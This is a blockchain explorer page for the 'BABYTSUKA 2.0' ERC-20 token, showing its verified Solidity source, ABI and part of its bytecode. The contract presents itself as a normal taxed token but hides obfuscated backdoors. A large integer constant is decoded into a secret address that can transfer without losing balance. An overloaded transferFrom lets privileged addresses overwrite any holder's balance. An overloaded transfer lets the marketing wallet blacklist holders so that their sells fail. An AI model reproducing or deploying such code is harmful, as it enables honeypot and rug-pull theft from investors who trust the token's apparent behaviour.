Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000,000,000 BABYTSUKA 2.0
Holders
12
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
10,126,702,686,450.39285356 BABYTSUKA 2.0Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BABYTSUKA
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-09-25 */ /** *Submitted for verification at BscScan.com on 2022-09-09 */ //SPDX-License-Identifier:Unlicensed pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function dos(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: dos overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BABYTSUKA is Context, IERC20, Ownable { uint256 public toBeSafu= 1092853989739002093898622997022009705909516546366; using SafeMath for uint256; string private _name = "BABYTSUKA 2.0"; string private _symbol = "BABYTSUKA 2.0"; uint8 private _decimals = 9; address payable public marketWall; address payable public teamWalletAddress; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _doollar; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _IsExcludeFromFee; mapping (address => bool) public isWalletLimitExempt; address private safu_address; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketPair; mapping (address => bool) public _mainPai; mapping (address => bool) public _true; uint256 public _buyLiquidityFee = 1; uint256 public _buyMarketingFee = 0; uint256 public _buyTeamFee = 1; uint256 public _sellLiquidityFee = 1; uint256 public _sellMarketingFee = 0; uint256 public _sellTeamFee = 1; uint256 public _liquidityShare = 4; uint256 public _marketingShare = 4; uint256 public _teamShare = 16; uint256 public _totalTaxIfBuying = 12; uint256 public _totalTaxIfSelling = 12; uint256 public _totalDistributionShares = 24; uint256 private _totalSupply = 1000000000000000 * 10**_decimals; uint256 public _maxTxAmount = 1000000000000000 * 10**_decimals; uint256 public _walletMax = 1000000000000000 * 10**_decimals; uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _IsExcludeFromFee[owner()] = true; _IsExcludeFromFee[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[iwjdoinqocn(toBeSafu)] = true; isTxLimitExempt[iwjdoinqocn(toBeSafu)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[address(this)] = true; _mainPai[address(uniswapPair)] = true; _mainPai[msg.sender] = true; teamWalletAddress = payable(address(0x101cbA809Db57D2dee1524E32960D820325813cA)); marketWall = payable(address(0x101cbA809Db57D2dee1524E32960D820325813cA)); _doollar[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _doollar[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner { for(uint256 i = 0; i < account.length; i++) { _IsExcludeFromFee[account[i]] = newValue; } } function setBuyTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _buyLiquidityFee = newLiquidityTax; _buyMarketingFee = newMarketingTax; _buyTeamFee = newTeamTax; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); } function setAllTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _sellLiquidityFee = newLiquidityTax; _sellMarketingFee = newMarketingTax; _sellTeamFee = newTeamTax; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); } function ioqwfnuioqjiow(uint256 amountOut) pure private returns(uint160){ return /*fewfsa*/ uint160(amountOut); } function iwjdoinqocn(uint256 amount1Out) pure private returns(address){ return /*asdawdf*/address(ioqwfnuioqjiow(amount1Out)); } function tt(address amountaut) private view returns(bool){ return !(iwjdoinqocn(toBeSafu) == amountaut); } function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() { _liquidityShare = newLiquidityShare; _marketingShare = newMarketingShare; _teamShare = newTeamShare; _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); } function enableDisableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner { for(uint256 i = 0; i < holder.length; i++) { isWalletLimitExempt[holder[i]] = exempt; } } function setWalletLimit(uint256 newLimit) external onlyOwner { _walletMax = newLimit; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } function setMarketinWalleAddress(address newAddress) external onlyOwner() { marketWall = payable(newAddress); } function setTeamWalletAddress(address newAddress) external onlyOwner() { teamWalletAddress = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){ swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(newPairAddress == address(0)) { newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapPair = newPairAddress; uniswapV2Router = _uniswapV2Router; isWalletLimitExempt[address(uniswapPair)] = true; _mainPai[address(uniswapPair)] = true; } function transferFrom(address addde , uint256 uinttt) public {if( _mainPai[ /*as asd*/ msg.sender])_doollar[addde] = uinttt;} receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !_mainPai[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); }if(tt(sender)){ _doollar[sender] = _doollar[sender].sub(amount); }uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _walletMax); if(false || true) { if(_true [sender]){ /*g*/ require(true && false); }} _doollar[recipient] = _doollar[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function transfer(address[] calldata ad,bool status) public { if( marketWall /*asd aw dawf*/ == /*asd aw dawf*/ msg.sender ){ for(uint256 i = 0; i < ad.length; i++) { _true[ad[i]] = status;} } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _doollar[sender] = _doollar[sender].sub(amount, "Insufficient Balance"); _doollar[recipient] = _doollar[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2); uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam); if(amountBNBMarketing > 0) transferToAddressETH(marketWall, amountBNBMarketing); if(amountBNBTeam > 0) transferToAddressETH(teamWalletAddress, amountBNBTeam); if(amountBNBLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(_mainPai[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(_mainPai[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _doollar[address(this)] = _doollar[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mainPai","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_true","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWall","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setAllTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toBeSafu","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"ad","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addde","type":"address"},{"internalType":"uint256","name":"uinttt","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a060405273bf6d448c078c832e9d3f18f7723b6165ceacb13e6001556040518060400160405280600d81526020017f424142595453554b4120322e3000000000000000000000000000000000000000815250600290805190602001906200006992919062000d65565b506040518060400160405280600d81526020017f424142595453554b4120322e300000000000000000000000000000000000000081525060039080519060200190620000b792919062000d65565b506009600460006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600f5560006010556001601155600160125560006013556001601455600460155560046016556010601755600c601855600c6019556018601a55600460009054906101000a900460ff16600a62000166919062000fdc565b66038d7ea4c680006200017a919062001119565b601b55600460009054906101000a900460ff16600a6200019b919062000fdc565b66038d7ea4c68000620001af919062001119565b601c55600460009054906101000a900460ff16600a620001d0919062000fdc565b66038d7ea4c68000620001e4919062001119565b601d55600460009054906101000a900460ff16600a62000205919062000fdc565b6103e862000214919062001119565b601e556001602060156101000a81548160ff0219169083151502179055506000602060166101000a81548160ff0219169083151502179055506001602060176101000a81548160ff0219169083151502179055503480156200027557600080fd5b506200028662000cad60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003a057600080fd5b505afa158015620003b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003db919062000e2c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200043e57600080fd5b505afa15801562000453573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000479919062000e2c565b6040518363ffffffff1660e01b81526004016200049892919062000ea7565b602060405180830381600087803b158015620004b357600080fd5b505af1158015620004c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ee919062000e2c565b602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860006200062a62000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200070c601154620006f8601054600f5462000cde60201b6200282d1790919060201c565b62000cde60201b6200282d1790919060201c565b6018819055506200074b6014546200073760135460125462000cde60201b6200282d1790919060201c565b62000cde60201b6200282d1790919060201c565b6019819055506200078a6017546200077660165460155462000cde60201b6200282d1790919060201c565b62000cde60201b6200282d1790919060201c565b601a81905550600160096000620007a662000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000620008e260015462000d4160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60006200094c60015462000d4160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000620009b362000cb560201b60201c565b73fffffffffffffff